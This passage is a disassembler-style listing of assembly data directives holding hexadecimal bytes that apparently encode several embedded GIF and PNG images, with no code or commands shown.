0B283944h, 60695BBDh, 1E223349h, 292C2A24h, 86EBD23h dd 60C5A0h, 70B483BAh, 0E502C988h, 0D171088h, 12F10E0Eh dd 178AC624h, 3C206035h, 400840h, 1030884h, 3B00h, 0 dd 38464947h, 2766139h, 26A50015h, 0DADADA00h, 0DEDEDEDDh dd 0DEDEDEDEh, 0DFDFDFDFh, 0E1E0E0E0h, 0E2E2E1E1h, 0E3E3E3E2h dd 0E4E7E4E0h, 0E5E5E4E4h, 0E6E6E6E5h, 0E8E7E7E7h, 0E9E9E8E8h dd 0EAEAEAE9h, 0E6EBEAEAh, 0EBEAEDEBh, 0EBEBEBECh, 0ECF1EDE5h dd 0EDEDECECh, 0EEEEEEEDh, 0F0EFEFEFh, 0F1F1F0F0h, 0F2F2F2F1h dd 0F4F3F3F3h, 0F5F5F4F4h, 0F6F6F6F5h, 0F8F7F7F7h, 0F9F9F8F8h dd 0FAFAFAF9h, 0FFFBFBFBh, 13h dup(0FFFFFFFFh), 4F921FFh dd 3F000A01h, 2C00h, 2760000h, 6000015h, 708AC0FEh, 8F1A2C48h dd 0C972A4C8h, 0D09F3A6Ch, 0AD4A74A8h, 0ACD8AF5Ah, 7AEDCB76h dd 58B0E0BFh, 400ABFCh, 0CD620385h, 0F0DFBB6Eh, 0AF4E7CB8h dd 0BCF8EFDBh, 0FBEFCF7Eh, 828180FFh, 86858483h, 8A898887h dd 406828Bh, 4420901h, 960E0C08h, 9A999897h, 9E9D9C9Bh dd 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh dd 0B6B5B4B3h, 60B0DAEh, 0D074203h, 0C216140Fh, 0C6C5C4C3h dd 0CAC9C8C7h, 0CECDCCCBh, 0D2D1D0CFh, 0D6D5D4D3h, 0DAD9D8D7h dd 0DEDDDCDBh, 0E2E1E0DFh, 0C0E14D9h, 0E0A4206h, 0EE191814h dd 0F2F1F0EFh, 0F6F5F4F3h, 0FAF9F8F7h, 0FEFDFCFBh, 0A0300FFh dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1782C3A1h, 0C21021CAh dd 0D05C200h, 0DC6A321Bh, 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch dd 532893C9h, 0B2C95CAAh, 3097CBA5h, 499CCA63h, 9BCDA6B3h dd 0D4C27338h, 0FE01E170h, 0D80D2103h, 0B440E06Dh, 48A3D1A8h dd 0CA5D2A93h, 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah, 6AB358ABh dd 0ABB5CADDh, 0C360AFD7h, 764B1D8Ah, 140C06EBh, 6071081Ah dd 0E870321h, 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh, 0AFB7CBDDh dd 380BFDFh, 0B84C1E0Bh, 88C3E1B0h, 0CC5E2B13h, 0C7E3B1B8h dd 0C8730F90h, 9081C160h, 783B1707h, 0B3B9CCD8h, 43A0CFE7h dd 0BA4D1E8Bh, 0A8D3E9B4h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h dd 0EDB6BB4Dh, 0EB73B8DBh, 3BB2DDEh, 319707CFh, 0A1F0F06Ch dd 0C8E3F1B8h, 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh dd 6BB3D8EBh, 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh, 670F773Ch dd 0E0805781h, 0F78803F6h, 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh dd 0BFBFCFDFh, 600FFFFh, 480E028h, 81E06816h, 0E0A82608h dd 0E8360C82h, 7E0683E0h, 42041930h, 741A050h, 0E1A08420h dd 76FE1C86h, 2087E1E8h, 88E22886h, 0E2689624h, 0A8A62889h dd 0B62C8AE2h, 308BE2E8h, 8CE328C6h, 0E368D634h, 0A8E6388Dh dd 0F8208C63h, 16108146h, 882170Ch, 0E4691644h, 0A9264891h dd 364C92E4h, 5093E4E9h, 94E52946h, 0E5695654h, 0A9665895h dd 765C96E5h, 6097E5E9h, 98E62986h, 2196E64h, 7108167Ah dd 881F0701h, 709BC230h, 9CE729C6h, 0E769D674h, 0A9E6789Dh dd 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0E86A1684h, 0AA2688A1h dd 368CA2E8h, 86A3E8EAh, 5E1208Ah, 0E1806042h, 0AA642408h dd 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0AAA6A8A9h dd 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h, 0AE6B8ADh dd 623D08EBh, 1E064420h, 9424084h, 0EC6B16C4h, 0AB26C8B1h dd 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h dd 76DCB6EDh, 0E0B7EDEBh, 0B8EE2B86h, 424B6EE4h, 641D8708h dd 0C3B06BF0h, 0BBEEEB96h, 0EF2BC6F0h, 6BD6F4BCh, 0E6F8BDEFh dd 23BC2FABh, 56BEBA0h, 26E08296h, 6C1704A4h, 2708C1F0h dd 0CC2F0ACh, 0C3F0EC37h, 292C1B10h, 60569407h, 41EE85C1h dd 1CC6F1A8h, 0C7F1EC77h, 0F22C8720h, 6C9724C8h, 781FC6F2h dd 97045930h, 50C1905Dh, 0F32CC565h, 6CD734CCh, 0E738CDF3h dd 3CCEF3ACh, 6B33CF7h, 0C1204C18h, 6D174418h, 2748D1F4h dd 4CD2F4ADh, 0D3F4ED37h, 43FD4750h, 3B0010h, 474E5089h dd 0A1A0A0Dh, 0D000000h, 52444849h, 1000000h, 15000000h dd 208h, 13300800h, 53h, 47527301h, 0CEAE0042h, 0E91Ch dd 48700900h, 7359h, 130Bh, 1130Bh, 189C9Ah, 74070000h dd 7454D49h, 15150CD8h, 46C0071Eh, 0A9B5h, 44494700h, 0D7085441h dd 11C1C105h, 4102080h, 28CE65C1h, 4D2CC74Ch, 0F2FC68C5h dd 3962D47h, 27DD75BBh, 0D1F2C892h, 0FA5534A8h, 0F63BB17Ch dd 39907860h, 1FB19CC9h, 8850920Fh, 416C4288h, 0AE614004h dd 0FDB1B0C5h, 24B54E03h, 24B44B1Dh, 70h, 4E454900h, 6042AE44h dd 82h, 38464947h, 2D6139h, 0D5E7002Fh, 211E1F00h, 24232022h dd 24261F20h, 28252727h, 28292627h, 262A2A26h, 2B272925h dd 38302D2Fh, 373B3A36h, 37383C36h, 3E38393Dh, 3B3F393Ah dd 3A3C403Ah, 403C3D42h, 3F41423Eh, 3E3F4343h, 443F4044h dd 474C4542h, 4C484A46h, 4B47484Ch, 494D4D49h, 494A4E48h dd 504A4B4Fh, 4D514A4Ch, 4C4D524Bh, 544D4E53h, 50554E4Fh dd 5051564Fh, 57535459h, 55595955h, 56575B54h, 5656585Ch dd 5A5C5C5Ah, 585A5E5Dh, 60595A5Fh, 5C615A5Bh, 5C5D625Bh dd 645D5E63h, 61665E5Fh, 66626460h, 68616267h, 64666263h dd 63646968h, 6B64656Ah, 686A6566h, 67686D6Ch, 6F68696Eh dd 6E72696Ah, 6D6F736Ch, 74736F71h, 73757672h, 72757377h dd 7A737674h, 777C7475h, 76797776h, 7677787Dh, 7C777E7Bh dd 797C7A7Eh, 787F7B7Dh, 7C817F7Dh, 84817C7Bh, 81808186h dd 858A8083h, 8B888384h, 868C8984h, 8C878E8Bh, 898A908Fh dd 8E908D88h, 908C8D90h, 95919393h, 9896938Fh, 96919193h dd 93969498h, 999A9893h, 9A959B97h, 9E9C979Ch, 9DA09E99h dd 0A39EA4A2h, 0A7A2A5A5h, 0A3A1A4A2h, 0A9A4ABA8h, 0ADAAA5ACh dd 0AAAEABA6h, 0B0ABB1AFh, 0B3B1ACB2h, 0AFB5B3AEh, 0B6B4B6B4h dd 0BBB8B3B3h, 0BEBFBCB7h, 0BEB8C0BCh, 0C3C1BCC0h, 0BDC4C0C3h dd 0C3BEC4C2h, 0C7C2C5C5h, 0C1C1C4C2h, 0C7C2C9C6h, 0C4C7C5CAh dd 0C6CBC8C3h, 0C9C4C5C8h, 0CCC8CACCh, 0C8CDCAC5h, 0C9CBC7CAh dd 0CECCC6CDh, 0CBCFCDC7h, 0CEC9CACEh, 0D1CFCAD0h, 0D1CBCFCDh dd 0D2CDD3CEh, 0D6D3CED5h, 0CFD0D3D1h, 0D5D0D7D4h, 0D3D6D4D8h dd 0D1D9D5D7h, 0D8D6D9D7h, 0DBD9D4D5h, 0D6DCDAD5h, 0DBD9DDDBh dd 0DFDCD7D7h, 0D9E0DDD8h, 0DFDAE1DEh, 0DCDFDDE2h, 0DEE3E0DBh dd 0E1DFDDE0h, 0E4E2DCDEh, 0DDDFE2E0h, 0E4DFE5E3h, 0E8E5E0E6h dd 0E1E9E4E7h, 0E6E4E9E6h, 0EAE7E2E3h, 0E3E4E7E5h, 0E8E6EBE8h dd 0ECE9E4E5h, 0E5E6E9E7h, 0EAE8EDEAh, 0E8EBE9E7h, 0EBE9ECEAh dd 0EFEAEAEEh, 0EBEFEDF2h, 0EEF3F0EBh, 0F1ECEDF0h, 0EEF1EFF4h dd 0F0F5F2EDh, 0F3EEEFF2h, 0F0F3F1F6h, 0EFF1F4F2h, 0F3F8F7F5h dd 0F2F5F3F1h, 0F4F8F6F0h, 0F7F2F3F7h, 0F4F8F6F9h, 0F7FCF9F4h dd 0FAF5F6F9h, 0F7FAF8FDh, 0F9FEFBF6h, 0FCFAF8FBh, 0FAFDFBF9h dd 0F9FFFEF8h, 0FFFCFFFFh, 0FCFFFEFBh, 20h dup(0FFFFFFFFh) dd 4F921FFh, 0FF000A01h, 2C00h, 2D0000h, 800002Fh, 9FF00FEh dd 9FF0481Ch, 94CA6733h, 0B0565325h, 1087C3A1h, 0E59B1E0Dh dd 4D2612E9h, 0B285329Ah, 0C7A22C85h, 7D90C888h, 9248342Ah dd 64B15628h, 87A41A75h, 1F622B91h, 26A40E63h, 52A08FCBh dd 0DCE9A8C4h, 2416ACD9h, 0C96E903Dh, 942D48FCh, 0A8CF4F9Dh dd 6CC67341h, 0CE65B261h, 1442F274h, 0A1AD1668h, 0D289A90Fh dd 335A8BC3h, 858AC664h, 18D64635h, 2B4A6532h, 0B58599FDh dd 7A58B521h, 4633418Eh dd 0BBAFD88Ch, 0ADD57F78h, 0A65A8CCBh, 12DAB644h, 0D72785FCh dd 82C26133h, 8C2C5DE5h, 0D0646258h, 25926120h, 452E9FF8h dd 5305A09Ch, 0AFF3B8BCh, 594C1CDh, 32AAA463h, 81A23FA9h dd 0AC0D5E79h, 99523335h, 0D52D6328h, 0D5331408h, 12FF73ABh dd 0ABD2CBD6h, 0DD009BB6h, 0B8BBA612h, 0DAA65131h, 0BC44622Eh dd 0C5606B38h, 85429160h, 6424CFF5h, 0CF3B70BFh, 2E185ADBh dd 0FE87D453h, 0EC74E9EAh, 8BEDAF97h, 0B6130179h, 0AC28D4EBh dd 6B194C75h, 0AFBB9E8Dh, 715EC060h, 0D4473AC2h, 2DF5CDB1h dd 962B1F86h, 2506D560h, 4C55D4CCh, 33117A80h, 956D2B9Fh dd 0E5485A81h, 31CC7805h, 4AC2F4CAh, 61C8545Bh, 290B338Bh dd 0B429F53h, 561E12E5h, 0CD424465h, 0B32CCE41h, 215041DDh dd 6D7ECBA3h, 2D870149h, 4CE8B0D1h, 133A3A71h, 70FF655Dh dd 0CF5F4791h, 6E646340h, 4CE92646h, 340A402Fh, 0ED492206h dd 52678D44h, 2A0CA52Ah, 4B9347Eh, 53188719h, 465597E5h dd 8F24CA23h, 120FF934h, 0AF1DC5Fh, 0E91A5598h, 0D090270Ch dd 0A422C841h, 15A4D1E4h, 0AA2046Ah, 0A3425F32h, 0ACBC30CCh dd 5D1587A2h, 21C6C1A0h, 448218B4h, 0A16C4E93h, 708C1D46h dd 0A92ACA52h, 268A129Ch, 0D031F48Eh, 0B1984B0Dh, 783A1A47h dd 0FF9984C1h, 19C61158h, 4721BC6Ch, 51AC6E1Ch, 55BC0990h dd 705619Ch, 45A0E822h, 0D4C6A412h, 0D84D15C4h, 23078210h dd 11C580E0h, 2A47EB9h, 30F43D04h, 4C34B002h, 1EB14461h dd 0E415001h, 0C23AFC3Ah, 114510Ch, 4803446Dh, 200D8350h dd 13C32B00h, 110B6C44h, 20C41101h, 0C422B843h, 0E6108470h dd 400543Eh, 200BC2Dh, 10C2FADh, 0CD0EBC44h, 1E0AC29Bh dd 0FC2EAD0h, 90DBF03Fh, 90940C01h, 84170782h, 3C0F82D0h dd 2105C18h, 2508C0Ch, 0C30EC3h, 504C486h, 240800C0h, 5C18070h dd 31C1A859h, 0D02C0241h, 884105B0h, 5C9C311h, 0D013029h dd 0C05C50h, 0B06905CCh, 0E0070443h, 3E0250DCh, 0D0F42D07h dd 40712h, 3Bh, 38464947h, 2D6139h, 0FFE7002Eh, 79B000h dd 0BE007DAFh, 7CB41D76h, 47FB700h, 0BA207BBEh, 82BB0081h dd 85B80Ch, 0BA0084BEh, 82C60087h, 189BD28h, 0C10388C2h dd 83CE1587h, 8CC12Ch, 0C2068CC0h, 8FC42189h, 90C600h dd 0C90F90C5h, 8FCA0092h, 1392C71Fh, 0C50095C5h, 98C81596h dd 3593CD06h, 0CC0999CAh, 96CB2596h, 1B9ACA2Dh, 0CD0E9BCCh dd 93E1109Ch, 129DCE3Ch, 0CC149ECFh, 0A19C14A1h, 22A1CCA3h dd 0DA3C9FCEh, 9CE0389Dh, 24A3CE31h, 0A019A4D0h, 0A5D1A8A5h dd 8DA4B41Bh, 0D21EA7D3h, 0A8D529A7h, 51A2DC20h, 0A536A3E2h dd 0A9D5ADAAh, 22AAD72Ch, 0D33FA3E6h, 0AAD522ACh, 40A6E335h dd 0D624AED5h, 0AFD526AFh, 33ABE430h, 0B056ABD9h, 0ACDAB2AEh dd 3BAFDB57h, 0E432B1D8h, 0B2DA44ACh, 52ACE22Ah, 0DC33B2D9h dd 0B5B02CB4h, 37B5DCB7h, 0DF56B0E7h, 0B2EC2FB7h, 64B3E143h dd 0DB3AB8E0h, 0B8C13ABAh, 57B8DB9Eh, 0DE3BBAE1h, 0BBE333BCh dd 3CBCDE34h, 0E1BDBBB6h, 0BCBA45BBh, 0A1BDBFB9h, 0DFADBCBFh dd 0BCBB3DBEh, 47BFDFC6h, 0C737C0E2h, 0C0E192BFh, 6FC0D340h dd 0C071BAE7h, 0C1E2C2BEh, 8EC1CB41h, 0C0A0C1C5h, 0C3E5CAC0h dd 0C4C2BD43h, 0ED44C4E6h, 0C4E43DC3h, 7FC6CF53h, 0CFC7C2C5h dd 0C6E892C5h, 4FC3F146h, 0C147C7E9h, 0C4E6C9C6h, 4FC7E970h dd 0E7B2C6CDh, 0CAD840CAh, 0BEC7C870h, 0C650C7EFh, 0CBE7D1C7h dd 4BCAED49h, 0E96CC9E6h, 0CAE860CAh, 6DCDDD67h, 0CC5ACBEBh dd 0CEEBCECAh, 0CECCC64Dh, 0ED88CAE7h, 0CFEA45CFh, 63CDEC55h dd 0CB62D0E3h, 0CEECD6CCh, 5DD0EA6Ah, 0EE50D0F3h, 0CFEB50D2h dd 66D2EB79h, 0CC65D4E6h, 0D0CFD4D1h, 74D1EFDAh, 0F16DD3EBh dd 0D4F052D4h, 5AD6EB5Ah, 0EB53D5F2h, 0D1D488D2h, 62D5F0D6h dd 0E97CD3EFh, 0D5ED53D9h, 0D7D4CF70h, 0F46AD6F0h, 0D4EF55D7h dd 77D6ED83h, 0EC46D8F7h, 0D8F67DD6h, 72D7F04Eh, 0D765D8F3h dd 0D8F2D9D5h, 8BD6EF6Ch, 0F54FDBF3h, 0D8EC5ED9h, 93D7EE85h dd 0EF58DCF2h, 0DAF280D9h, 7ADAF174h, 0D451DDF5h, 0DDF4DBD9h dd 67DBF659h, 0F78EDAEDh, 0DEF64ADEh, 61DCF852h, 0F588DBEFh dd 0DFF85ADEh, 6FDCF64Bh, 0D968DEF2h, 0DAF1E4D9h, 53DFF795h dd 0D6DED9DCh, 0E0FADEDBh, 9CDAF043h, 0F669DDF8h, 0DDF277DDh dd 5BE0F683h, 0EC45E1FBh, 0E1FA9CDDh, 63E0F64Dh, 0F53BE2FDh dd 0DCF07FDEh, 91DEF0A4h, 0FA97DEEEh, 0DDDB56E1h, 6CE1F6DAh dd 0F372E1F4h, 0DFF59EDDh, 3DE5FA86h, 0FB8CDFF4h, 0DFDA57E3h dd 81E0F8E2h, 0F37AE2F4h, 0DEDD93E0h, 74E3F6E8h, 0F09AE1F2h dd 0E0F2A1E1h, 89E2F8AEh, 0DF8FE2F6h, 0E0E2DEE1h, 90E3F8E4h dd 0DDA8E3F0h, 0E2F6E5E3h, 97E4F6A9h, 0F6A3E4F3h, 0E6F39EE5h dd 0B3E8F3ABh, 0E7EBE8E3h, 0EAF7E6E9h, 0B7EBF7AFh, 0EAEEEAECh dd 0FFFFF2EFh, 4F921FFh, 0FF000A01h, 2C00h, 2D0000h, 800002Eh dd 9FF00FEh, 20B0481Ch, 9A4815C1h, 0C3428194h, 1087C3A0h dd 13A0F20Dh, 7E3ED649h, 0BBC5F0FBh, 0C4486896h, 446B118Fh dd 162D06D2h, 0EEF87E31h, 0F2C75BCDh, 20209DDAh, 67D3FE63h dd 6D30CC8Ch, 22AD6ADAh, 0BC5EEFC7h, 79AED79Fh, 4A860272h dd 0FD11990Ah, 2D34AA7Dh, 0F0532D67h, 0A753D5EEh, 6BB3198Eh dd 39289481h, 7876492h, 80030F07h, 162797ECh, 64B55ACEh dd 0D537ABD9h, 6FAB349Bh, 0D2293094h, 160CC743h, 50442A20h dd 2810080h, 0E63E0906h, 66E7273Bh, 0ECC55CCEh, 2E974BD9h dd 9E5A31DBh, 926144C6h, 198CC7A4h, 0E8904C2Dh, 5028160h dd 7C061008h, 508977D4h, 0ECE5C3D3h, 0EE6733D1h, 935A2F58h dd 0E22E4CB0h, 168C8663h, 0C8744225h, 84422140h, 0E623A206h dd 30C9C3E3h, 56E45AB4h, 0BD5EB9Bh, 5741AC16h, 7BA128A2h dd 0DDEE7303h, 0FE0421BDh, 2F8D2E78h, 0FE6ABFC3h, 2E1783B1h dd 0B360B05Ch, 3E89BD4Eh, 0DC7547BDh, 0D04779BAh, 9C12FA3Eh dd 0FDB53868h, 0DC3E46A2h, 0A8B65B33h, 5619C932h, 0E19564Ch dd 81D089D6h, 10301167h, 0C4F2441Ch, 387E08D1h, 3B0DD2FDh dd 9FF33CDFh, 320CA12Ah, 0F9946C86h, 9E75DEF0h, 5880C051h dd 45D32511h, 87E9862Ch, 58D63B0Eh, 0A82A0B83h, 18482260h dd 62212620h, 0B051D882h, 0A08E445Dh, 0B58B4D11h, 338E4394h dd 4A32B0CEh, 81E08F26h, 8C3F81A3h, 3F679F18h, 1A8F243Eh dd 1F990C7Bh, 7920E534h, 3099928Bh, 5087C6D2h, 671F05DAh dd 90F83DBDh, 32705B32h, 0A0D461A4h, 0AF310DD3h, 25094294h dd 26419C85h, 0C9444713h, 0C6F23h, 5C25D1F0h, 3722D77Ch dd 0AD370DDh, 240A028h, 0E67A1E09h, 259983F8h, 955BC828h dd 7E3B90Eh, 730CD51Ch, 2CCD3728h, 8B22C9BAh, 942911CCh dd 19D82A23h, 0F38D06A6h, 0DFFE84C5h, 350D04E1h, 0CB2300D4h dd 21C9B26h, 4A631CC8h, 0AA09A66Ah, 43A6A052h, 0E6F8ACAEh dd 0F71CD04Dh, 1C922494h, 7BA987F2h, 8203E11Eh, 0C11A59B8h dd 223906B0h, 0A1C6B1C6h, 0CEB30A65h, 14A1FAF2h, 0EC0B5221h dd 0E47C0C6Eh, 7A9D960Eh, 0CDB2EDDAh, 64EBDB3Eh, 0E96B9AD2h dd 29B11F01h, 0A4BE380Ah, 0B2598AB2h, 1B6E1BC2h, 6E416067h dd 0CA56D49Fh, 7D05B619h, 401B8532h, 13C39410h, 5682987Dh dd 5AF2F127h, 0C8389430h, 15B9C2F0h, 220E347Ch, 82344030h dd 0D2747811h, 531BC0C9h, 1FC743F6h, 446E982Bh dd 931198E3h, 0A21C5A0Ah, 4B041D48h, 0F8076F6Ah, 12CBA446h dd 1C03D32h, 31E86D11h, 0CE93BD26h, 186E02F0h, 2591F010h dd 0D0252036h, 10EC1F02h, 6C561585h, 1A0A1965h, 4130C038h dd 7561D8EEh, 20140241h, 5C1E0781h, 0DB4C9600h, 0DCF67164h dd 422910Fh, 641378DDh, 790B2988h, 1B0DBDE7h, 8CADE77Dh dd 0FDD381DCh, 0D38509CEh, 8CE24AEDh, 0E3F8EE37h, 0F92E4790h dd 6E5794E4h, 6798E5F9h, 4051FEh, 3Bh, 0 dd 38464947h, 2B6139h, 0FFE7002Bh, 10000h, 213110Ch, 25197024h dd 6828072Dh, 712D00h, 2F017F2Dh, 782D066Eh, 7D3800h, 38008A37h dd 77390384h, 423826h, 3D12993Dh, 6841096Eh, 0D804200h dd 3E2B7F3Fh, 8B421252h, 128C4609h, 471D8848h, 864D1481h dd 1C934C19h, 4E146E4Fh, 5B4C369Eh, 1E935219h, 4F388C52h dd 61562469h, 2881561Eh, 58275C58h, 9859196Dh, 25935A18h dd 5828515Dh, 0AB5A2293h, 24A55E26h, 6127A160h, 0AB651E9Bh dd 36506738h, 62466369h, 0AB6A2682h, 31A2663Ah, 7335A469h dd 0A86E2837h, 45A06B35h, 6D3A926Ah, 4E753996h, 3B48793Dh dd 76459273h, 91714C73h, 345B7945h, 743CB176h, 0AC773AB3h dd 57667B46h, 824F8576h, 947B5240h, 3D937F46h, 8249BB80h dd 0B6813F8Dh, 3CB6804Ah, 8A53CA83h, 368D5861h, 5BC48941h dd 9450788Ah, 0A0895237h, 5B948566h, 8A4A5190h, 0C18D40BFh dd 506F8E59h, 8954BA8Ah, 859058C0h, 4949975Fh, 944FC894h dd 839565C1h, 4DA69656h, 9664D095h, 8C9A6198h, 5ADE994Ah dd 9C4F999Ch, 0BF9B5ED1h, 61CB9E52h, 0A96E1EACh, 59A56C29h dd 72CE9D66h, 0A26922ACh, 96A563A1h, 6EC5A35Bh, 0A16737ACh dd 0D9A459CBh, 5F17B56Bh, 0A868D5A6h, 0B96BAFh, 757BAC72h dd 0A67121B5h, 2AB37AC2h, 794DB17Bh, 0BB7618B8h, 77B07A06h dd 6308BB7Dh, 0B681DDAEh, 0DBF7238h, 8000C26Dh, 0AF5F42B6h dd 27B980EAh, 6D0DBB85h, 0B164D6AEh, 0C4B16AD3h, 761EBE77h dd 0BD7E00C2h, 2ABD7C1Fh, 8310C07Bh, 0B26B14C0h, 4C873E9h dd 8536BD88h, 0B66660BAh, 96B584E4h, 72DEB37Ah, 0BA7000CCh dd 80BB81B9h, 7928C486h, 0B971DBB6h, 71BD8BE3h, 834FC08Dh dd 0C28B1FC8h, 0B3BB7D43h, 7034C589h, 0C88ADEBCh, 0D27621h dd 8D93BE8Ah, 0D17F5EC3h, 0D9BD7E00h, 78CEBE7Fh, 0CF8AEABFh dd 55C98F28h, 8129D184h, 0CC941FD4h, 34CE913Dh, 7FC3C684h dd 0CAA213DAh, 56CC9E5Dh, 9B00DC86h, 0D59350CFh, 18DB892Fh dd 84EDC882h, 0C88EDFC9h, 3DD692D3h, 9928DA8Fh, 0D59E7DCFh dd 0B8CE8F3Fh, 0A469D39Ah, 0D5A360D3h, 51D7A257h, 0A5EBCD90h dd 0D39539DAh, 6ED6ABB3h, 0A1D6CFA3h, 0DBAB8FD7h, 76D6B14Bh dd 9DFED48Ah, 0E0A8E6D3h, 0FAD5924Ch, 0AD7FD8B2h, 0D49C8CD9h dd 0F3D2A4F4h, 0B66CDDAEh, 0E0BC5BE1h, 0CFDBA85Ch, 0B83EE7B4h dd 0E3B6E8D5h, 7BE0B965h, 0BBEEDD9Eh, 0DBAEE2D7h, 0F5DBA9E2h dd 0C0B5E0AEh, 0E8BE89E2h, 0CEE1B263h, 0B75DEAC1h, 0E1BAE1E0h dd 0E8DDC4D6h, 0C797E7C3h, 0F0BC72EAh, 0F5E3B75Dh, 0CDA6E9BEh dd 0E6C496E7h, 0F4E2C3BBh, 0C8E7E4C3h, 0EED0D6E7h, 0BFEBD3A9h dd 0D9AEEDD4h, 0F5D4B8EEh, 0BAF2D592h, 0D982F7D8h, 0F6E8A0F6h dd 0E8F9F5D5h, 0FDF1FCF6h, 0FFFFFCFFh, 4F921FFh, 0FF000A01h dd 2C00h, 2B0000h, 800002Bh, 9FF00FEh, 0CE8FF81Ch, 0E907839Eh dd 0B0C85C10h, 7D85C3A1h, 0E3EA2CFAh, 46A362A8h, 0DC6A1E80h dd 0A14F6FF8h, 5E0F1345h, 11B244F4h, 230493C7h, 0D15459EAh dd 0AF61B0D6h, 8924911Ah, 3E9D24F2h, 0C9EE227Ah, 0BF9FCFD4h dd 0AD3D3274h, 0E6A9E55Ah, 1D1188C6h, 0CFC471EDh, 424538A7h dd 68CADE87h, 0A41EE1B4h, 75322E7Dh, 50E868AAh, 5AAAAD5Eh dd 6307B9D5h, 9EFEA6A3h, 8B755AB6h, 7153ADD7h, 6230D204h dd 0A31287E4h, 145E107Dh, 3FA7AC86h, 0AD86D57Bh, 15CBC5E2h dd 2A0B3329h, 84523874h, 281D1D4Bh, 0A83470B0h, 9F3A5017h dd 0BB55FD98h, 2595CB75h, 485C8052h, 4A0A6271h, 0BEC46C9Dh dd 4AC1D8A4h, 8DB2E523h, 0B9F5FAA0h, 53AB556Fh, 3A41499Fh dd 30D3A793h, 6582735Fh, 4B0604C3h, 1C921E88h, 48A8C6BEh dd 0EECCBD51h, 4DCA4120h, 489E102Ah, 52F8F89Dh, 0A95B66D6h dd 0FE50562Dh, 0CBF48954h, 0CD4041E1h, 86220515h, 4B2B5FB9h dd 7C948A7h, 0B0D084Dh, 69409424h, 8BC884D2h, 483A1F97h dd 0D3186E1h, 7A0801D1h, 8FB229E9h, 77C0F34Fh, 0C5F27C4Ah dd 6B161D71h, 3A4F93A8h, 87023CA2h, 0B0C05717h, 686E08C1h dd 8A8250D0h, 30C81240h, 0CAE5BD3Eh, 2C8A783h, 0E4821A89h dd 0F7370C31h, 3B4FA3DCh, 0A1B1F8A8h, 0E0582A0Fh, 30411486h dd 0D27A4744h, 3E0FC749h, 24A2B8A7h, 22C8B82Eh, 747C2461h dd 0C98D4CC1h, 24CBB360h, 43211A1Bh, 31FC2306h, 48188CAh dd 0D5242452h, 2BA4933Ch, 0B82F4BDh, 0F1FC6A20h, 0A4942989h dd 0DA3BCF73h, 26CC5350h, 84D18C7Eh, 9028240Fh, 34AF28C3h dd 9674A624h, 9A649838h, 0C781AA6Bh, 0C3209D1Fh, 68F43B8Dh dd 0D3380DA3h, 16A792A8h, 1409046h, 0E2648C08h, 1A859890h dd 762B64CAh, 2CE6EA28h, 8F53B8D1h, 0A3C0DA37h, 78FEA54Dh dd 527C18Eh, 0C9922C23h, 0F2050F33h, 0C8B52D59h, 1A13C812h dd 9B884148h, 0EAA330B4h, 3C0E839h, 5A953B0Fh, 2B12063Ah dd 28C38050h, 0D1AA04A1h, 60E0390Ch, 28060402h, 9F208410h dd 1BC6B2D0h, 0AC93D0BBh, 0B2AA94B2h, 0AECF1C89h, 9D088150h dd 190FB5Ah, 40B02008h, 0E0541502h, 20C41540h, 0A2184643h dd 3B2CAB20h, 0B9340E0h, 71205A96h, 3C020482h, 0EB2BCB01h dd 4807468h, 81704411h, 706C1904h, 0B4DC38C4h, 0DF360A91h dd 0C10F13C8h, 2B12E4D3h, 2C2C3E15h, 0FCB010C0h, 0C468C22h dd 6017048h, 2407418h, 7294340Ch, 90FA3A4Fh, 0E637CD33h dd 314D839Ch, 47224CAAh, 207834C2h, 64040141h, 30110C31h dd 7818047h, 2B09425h, 81503E0Dh, 0CCED2C48h, 0D034CCE3h dd 0D1B44334h, 2D015063h, 20100C06h, 0A43703C0h, 1804B301h dd 0CB5709Ch, 4541203Eh, 92A07E19h, 0C538FE4Eh, 31CED384h dd 46125CBEh, 50D04813h, 10070442h, 3F050050h, 301746Ch dd 0C3209C17h, 2DDF75E4h, 1CA21F87h, 0E538CC03h, 2B0C632Ch dd 0C401886Ch, 40138F0Ah, 581D0240h, 0C0451C1h, 0AC2B060h dd 4460FC30h, 718C5A13h, 2C9720F9h, 0B02FCBF3h, 2648E264h dd 80B0503Ah, 104805E9h, 0AD1BDB83h, 1E030070h, 0EC42A0ACh dd 0FB414C46h, 0D27C6418h, 2C99267Bh, 59230892h, 883D12Ch dd 43F077A7h, 70D51C25h, 9C1EC4C1h, 480C8240h, 177D2FB4h dd 0C89483D8h, 0B1D87622h, 0E0823192h, 2815C31Bh, 0E43880D5h dd 0D601A3CDh, 2283E080h, 81121D8h, 0D41A9FACh, 7C508760h dd 50160462h, 77C81241h, 40C82B12h, 80380402h, 0BAF6A8D4h dd 960A415h, 0A943D09Eh, 50878816h, 14096318h, 0A01C9AC0h dd 0C82D9351h, 64197100h, 6666C580h, 0E1301081h, 0C424240Ch dd 0EB19E2Bh, 0A80C02Ch, 466872C6h, 340B655h, 74CE99B4h dd 1624807h, 42022004h, 0CB142210h, 0C0270658h, 0F82D83E0h dd 31558841h, 50801A44h, 20300B02h, 5B544789h, 0B617E0Bh dd 1B839462h, 1942303Eh, 0B1458136h, 53154190h, 3C0AC1A0h dd 30063170h, 0E80F00A0h, 0A1B63584h, 0A1CC690Eh, 5C8870Ch dd 1032C50Bh, 0A6BAC22h, 941A840h, 581702Eh, 0EA1C60ECh dd 0E77C750h, 0A0670BA1h, 0B90C9082h, 90B6A583h, 0C07413C8h dd 2E0D709h, 8A80AC14h, 843386Eh, 7086C98h, 2D09A0EEh dd 5F09215Ah, 0AC1244A0h, 443B8640h, 0D4A90061h, 0F03E0348h dd 0C0D81E02h, 0C0981F06h, 80000200h, 49E5Ch, 31A64CC8h dd 66CCC997h, 